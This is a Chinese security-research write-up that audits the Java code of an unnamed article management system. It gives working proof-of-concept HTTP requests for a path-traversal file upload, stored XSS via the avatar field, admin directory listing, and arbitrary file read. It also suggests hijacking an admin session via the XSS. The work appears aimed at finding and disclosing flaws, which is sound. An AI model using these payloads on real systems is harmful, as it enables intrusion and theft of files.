某文章管理系统的代码分析
某文章管理系统的代码分析
前言
偶然看到某文章管理系统,于是尝试挖掘学习
漏洞分析
任意文件上传
@PostMapping("/user/uploadImg")
@ResponseBody
@RequiresRoles(value={Constants.ROLE_ADMIN, Constants.ROLE_EDITOR, Constants.ROLE_CONTRIBUTE,
Constants.ROLE_USER}, logical= Logical.OR)
public ResponseBean uploadImg(HttpServletRequest request) {
try{
MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest) request;
MultipartFile multiFile = multipartRequest.getFile("file");
FileResult fileResult = fileHandles.upload(multiFile, "avatar");
if (fileResult != null) {
return ResponseBean.success("上传成功", fileResult.getUrl());
}
return ResponseBean.fail("上传失败", null);
}catch (Exception e){
logger.error("上传失败: {}", e.getMessage());
return ResponseBean.fail("上传失败", e.getMessage());
}
}存在鉴权,但是只要能注册一个账号即可使用,跟进upload,发现对文件名和文件后缀无限制,而且存在直接文件名拼接
@Override
public FileResult upload(MultipartFile multiFile, String category) throws Exception {
FileResult fileResult = new FileResult();
try{
if (multiFile == null){
throw new Exception("文件为空!");
}
String multiFileName = multiFile.getOriginalFilename();
if (StringUtils.isBlank(multiFileName)){
throw new Exception("文件名为空!");
}
String suffix = multiFileName.substring(multiFileName.indexOf("."));
String filename = StringUtil.getUUID() + suffix;
SimpleDateFormat formatter = new SimpleDateFormat("yyyyMMdd");
String uploadPath = Constants.SEPARATOR + category + Constants.SEPARATOR + formatter.format(new Date()) + Constants.SEPARATOR;
String dirPath = webUploadPath + uploadPath;
File dir = new File(dirPath);
if (!dir.exists()){
boolean mkdirs = dir.mkdirs();
if (!mkdirs) {
throw new Exception("创建目录失败!" + dir.getAbsolutePath());
}
}
File file = new File(dirPath + filename);
multiFile.transferTo(file.getAbsoluteFile());
fileResult.setKey(uploadPath + filename);
fileResult.setType(Constants.WEB_FILE_SAVE_TYPE_LOCAL);
fileResult.setUrl(uploadPath + filename);
}catch (Exception e){
throw new Exception(e.getMessage());
}
return fileResult;
}
可以进行目录穿越,而且文件名可控
POST /admin/user/uploadImg HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-Site: same-origin
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
Origin: http://127.0.0.1:8080
Sec-Fetch-Dest: empty
Cookie:JSESSIONID=4145025ACED48C7EDCD270E9B786A453
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
sec-ch-ua-mobile: ?0
Sec-Fetch-Mode: cors
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylMmLrnoJlJVVu0l0
sec-ch-ua-platform: "Windows"
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:8080/admin/user/userCenter
Accept-Encoding: gzip, deflate, br, zstd
Content-Length: 220
------WebKitFormBoundarylMmLrnoJlJVVu0l0
Content-Disposition: form-data; name="file"; filename="./a/../../../a.htm"
Content-Type: image/jpeg
<script>alert(1)</script>
------WebKitFormBoundarylMmLrnoJlJVVu0l0--
上传成功,访问
XSS漏洞
注册一个账号,修改用户资料
POST /admin/user/update HTTP/1.1
Host: 127.0.0.1:8080
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-mobile: ?0
Referer: http://127.0.0.1:8080/admin/user/userCenter
Sec-Fetch-Mode: cors
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Dest: empty
Content-Type: application/json
Origin: http://127.0.0.1:8080
Cookie: admin_hkcms_lang=zh-cn; JSESSIONID=6584BB563CF5628488C50448066F4919
Accept-Encoding: gzip, deflate, br, zstd
X-Requested-With: XMLHttpRequest
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 161
{"id":"2","userName":"admin1","account":"admin1","email":"admin1@qq.ocm","website":"","avatar":"123'><script>alert(1);</script>'","file":""}在用户管理(管理员才能进入)处触发XSS
@PostMapping("/user/update")
@ResponseBody
@RequiresRoles(value={Constants.ROLE_ADMIN, Constants.ROLE_EDITOR, Constants.ROLE_CONTRIBUTE,
Constants.ROLE_USER}, logical= Logical.OR)
public ResponseBean update(@RequestBody @Valid User user) {
user.setReadAvatar(false);
if (StringUtils.isBlank(user.getAvatar())){
user.setAvatar(GravatarUtil.getGravatar(user.getEmail()));
}
if (userService.update(user) > 0) {
return ResponseBean.success("更新成功", null);
}
logger.error("用户更新失败: {}", user.toString());
return ResponseBean.fail("更新失败", null);
}发现通过id识别账户,但是不能修改accout
所以我们还可以通过其他账户修改admin账户除了account之外的所有内容
后台目录遍历和任意文件读
目录遍历
假设我们通过xss获取到了管理员当时的JSESSIONID,并立即利用
POST /admin/theme/getFileListByTheme HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate, br, zstd
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:8080/admin/theme/edit?path=default
Sec-Fetch-Site: same-origin
Accept: */*
Origin: http://127.0.0.1:8080
sec-ch-ua-platform: "Windows"
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Cookie: JSESSIONID=C52BFD2913D7B0B7DAD7AF27433988C7
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
Content-Length: 12
path=../@PostMapping("/theme/getFileListByTheme")
@ResponseBody
public ResponseBean getFileListByTheme(@RequestParam("path") String path){
List<TreeNode> themeFiles = themeService.getFileListByTheme(path);
return ResponseBean.success("数据加载成功", themeFiles);
}跟进getFileListByTheme
public List<TreeNode> getFileListByTheme(String path) {
File themeDir = getThemeDir(path);
if (themeDir == null) {
return null;
}
List<TreeNode> result = new ArrayList<>();
return getFileListByFile(themeDir, path, result, "-1");
}
跟进getFileListByFile函数
private List<TreeNode> getFileListByFile(File dir,String path, List<TreeNode> result, String pid) {
File[] files = dir.listFiles();
if (files == null || files.length <= 0) {
return result;
}
for (File file : files) {
ThemeFile themeFile = new ThemeFile();
themeFile.setFilePath(file.getAbsolutePath());
themeFile.setFileName(file.getName());
themeFile.setPath(path + Constants.SEPARATOR + file.getName());
TreeNode treeNode = new TreeNode();
treeNode.setTitle(file.getName());
treeNode.setId(IdUtil.simpleUUID());
treeNode.setPid(pid);
if (file.isDirectory()) {
themeFile.setFileType("dir");
getFileListByFile(file, themeFile.getPath(),result , treeNode.getId());
} else {
if (file.getName().contains(".")) {
themeFile.setFileType(file.getName().substring(file.getName().lastIndexOf(".")).replace(".",""));
} else {
themeFile.setFileType("other");
}
}
treeNode.setObj(themeFile);
result.add(treeNode);
}
return result;
}任意文件读
POST /admin/theme/getFileContent HTTP/1.1
Host: 127.0.0.1:8080
Sec-Fetch-Dest: empty
Cookie: JSESSIONID=C52BFD2913D7B0B7DAD7AF27433988C7
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
Origin: http://127.0.0.1:8080
Sec-Fetch-Mode: cors
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: */*
Referer: http://127.0.0.1:8080/admin/theme/edit?path=default
sec-ch-ua-platform: "Windows"
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate, br, zstd
Content-Length: 27
path=..%2F..%2Fbanner.txtpublic ResponseBean getFileContent(@RequestParam("path") String path){
File file = themeService.getThemeDir(path);
if (file.exists()) {
FileReader fileReader = new FileReader(file);
return ResponseBean.success("数据加载成功", fileReader.readString());
} else {
return ResponseBean.fail("文件不存在", null);
}
}无过滤,所以可以目录穿越读文件